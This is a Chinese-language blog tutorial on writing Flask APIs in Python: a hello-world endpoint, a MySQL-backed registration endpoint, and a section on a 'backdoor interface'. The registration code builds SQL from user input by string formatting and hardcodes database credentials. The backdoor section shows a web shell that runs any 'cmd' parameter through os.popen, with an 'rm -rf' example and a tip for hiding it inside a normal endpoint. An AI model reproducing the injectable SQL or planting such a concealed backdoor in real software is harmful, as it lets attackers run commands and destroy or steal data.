• Python学习之==>接口开发


    一、开发接口的作用

      1、在别的接口没有开发完成的时候可以模拟一些接口以便测试已经开发完成的接口,例如假的支付接口,模拟支付成功、支付失败。

      2、了解接口是如何实现的:数据交互、数据返回

      3、开发给别人查看数据,避免其他人直接操作数据库

    二、接口开发的步骤

      1、实例化server

      2、装饰器下面的函数变为一个接口

      3、启动服务

    三、开发一个简单的接口

     1 import flask,json
     2 server = flask.Flask(__name__)           # 实例化server,把当前这个python文件当作一个服务,__name__代表当前这个python文件
     3 @server.route('/index',methods=['get'])  # 'index'是接口路径,methods不写,则默认get请求
     4 # 装饰器,下面的函数变为一个接口
     5 def index():
     6     res = {'msg':'这是我开发的第一个接口','msg_code':'0000'}
     7     return json.dumps(res,ensure_ascii=False)
     8     # json.dumps 序列化时对中文默认使用的ascii编码.想输出真正的中文需要指定ensure_ascii=False
     9 
    10 server.run(port=8888,debug=True,host='0.0.0.0')  # 启动服务
    11 # debug=True,改了代码后,不用重启,它会自动重启
    12 # 'host='0.0.0.0'别人可以通过IP访问

    运行这段代码,打开浏览器,输入http://127.0.0.1:8888/index,就可以看到如下运行结果:

    四、开发一个注册接口

     1 import flask,json
     2 server = flask.Flask(__name__) 
     3 @server.route('/reg',methods=['post'])
     4 def reg():
     5     username =flask.request.values.get('username')
     6     pwd = flask.request.values.get('pwd')
     7     if username and pwd:
     8         sql = 'select * from my_user where username = "%s";'%username
     9         if my_db(sql):
    10             res = {'msg':'用户已存在','msg_code':2001}
    11         else:
    12             insert_sql = 'insert into my_user(username,passwd,is_admin) values ("%s","%s",0);'%(username,pwd)
    13             my_db(insert_sql)
    14             res = {'msg':'注册成功','msg_code':0000}
    15     else:
    16         res = {'msg':'必填字段未填,请查看接口文档!','msg_code':1001}
    17     return json.dumps(res,ensure_ascii=False)
    18 
    19 server.run(port=8888,debug=True,host='0.0.0.0')  # 启动服务
    20 # debug=True,改了代码后,不用重启,它会自动重启
    21 # 'host='0.0.0.0'别人可以通过IP访问

    my_db()为另外封装的函数,应放在接口上面,具体代码如下:

     1 def my_db(sql):
     2     import pymysql
     3     coon = pymysql.connect(
     4         host='192.168.1.112', user='test', passwd='111111',
     5         port=3306, db='test', charset='utf8')
     6     cur = coon.cursor() #建立游标
     7     cur.execute(sql)#执行sql
     8     if sql.strip()[:6].upper()=='SELECT':
     9         res =  cur.fetchall()
    10     else:
    11         coon.commit()
    12         res = 'ok'
    13     cur.close()
    14     coon.close()
    15     return res

    使用postman测试结果如下:

    五、后门接口

     1 import os
     2 @server.route('/error',methods=['get'])
     3 def cmd():
     4     cmd = flask.request.values.get('cmd')  # 接口入参
     5     res = os.popen(cmd)                    # 执行用户命令
     6     return res.read()                      # 返回执行结果
     7     # http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
     8     # 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
     9     # 默认可以不传,一但传了再res = os.popen(cmd)
    10 server.run(port=8888,debug=True,host='0.0.0.0')  # 启动服务
    11 # debug=True,改了代码后,不用重启,它会自动重启
    12 # 'host='0.0.0.0'别人可以通过IP访问

    一个接口文件中可以包含多个接口,只要接口路径不一致即可。但是server.run()一定要放到所有接口最底下,否则,在server.run()下面的接口是不会被运行的。

  • 相关阅读:
    json格式
    UICollectionViewLayout继承UICollectionViewFlowLayout自定义布局
    iOS中如何生成二维码
    Xcode升级之后插件无法使用与不小心点击Skipbundle的解决办法
    如何上传本地代码到github
    Xcode实用快捷键以及Mac一些常用指令
    0925-0926 函数注意点
    0921控制结构注意点
    0920逻辑运算符,位运算,移位运算,三元运算符,短路性注意点
    0919表达式&运算符注意点
  • 原文地址:https://www.cnblogs.com/L-Test/p/9202868.html
Copyright © 2020-2023  润新知